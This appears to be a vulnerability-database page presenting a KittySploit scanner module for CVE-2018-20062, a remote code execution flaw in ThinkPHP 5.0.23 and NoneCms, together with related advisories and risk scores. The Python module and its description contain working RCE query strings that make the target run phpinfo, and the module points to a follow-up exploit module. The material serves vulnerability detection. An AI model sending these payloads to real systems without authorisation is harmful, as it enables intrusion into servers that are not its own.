Lucene search
+L

ThinkPHP 5.0.23 - Remote Code Execution Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 12 Views

Remote attackers can execute arbitrary PHP code in NoneCms via the filter parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
ThinkPHP 5.0.23 Remote Code Execution Exploit
15 Apr 202000:00
–zdt
attackerkb
attackerkb
CVE-2018-20062
11 Dec 201800:00
–attackerkb
bdu_fstec
BDU FSTEC
ThinkPHP Arbitrary PHP Execution
7 Sep 202100:00
–bdu_fstec
circl
Circl
CVE-2018-20062
18 Jan 201914:45
–circl
cisa_kev
CISA KEV Catalog
ThinkPHP "noneCms" Remote Code Execution Vulnerability
3 Nov 202100:00
–cisa_kev
checkpoint_advisories
Check Point Advisories
NoneCMS ThinkPHP Remote Code Execution (CVE-2018-20062)
1 Jul 201900:00
–checkpoint_advisories
cve
CVE
CVE-2018-20062
11 Dec 201818:00
–cve
cvelist
Cvelist
CVE-2018-20062
11 Dec 201818:00
–cvelist
exploitdb
Exploit DB
ThinkPHP - Multiple PHP Injection RCEs (Metasploit)
16 Apr 202000:00
–exploitdb
githubexploit
GithubExploit
Exploit for CVE-2018-20062
10 Sep 202604:32
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""An issue was discovered in NoneCms V1."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'ThinkPHP 5.0.23 - Remote Code Execution Detection',
        'description': 'An issue was discovered in NoneCms V1.3. thinkphp/library/think/App.php allows remote attackers to execute arbitrary PHP code via crafted use of the filter parameter, as demonstrated by the s=index/\\think\\Request/input&filter=phpinfo&data=1 query string.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'kev', 'thinkphp', 'rce', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'exploits/multi/http/thinkphp_cve_2018_20062_rce',
                ],
            },
        },
        'references': [
            'https://github.com/yilin1203/CVE-2018-20062/blob/main/CVE-2018-20062.py',
            'https://github.com/yilin1203/CVE-2018-20062',
            'https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce',
        ],
        'cve': 'CVE-2018-20062',
    }

    def run(self):
        r = self.http_request(method="GET", path='/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_all = ('PHP Extension', 'PHP Version', 'ThinkPHP',)
        if (all(m in body for m in body_all)):
            self.set_info(
                severity='critical',
                reason="ThinkPHP 5.0.23 - Remote Code Execution detected",
                path='/?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
9.4Critical risk
Vulners AI Score9.4
CVSS 27.5
CVSS 3.19.8
EPSS0.9953
SSVC
12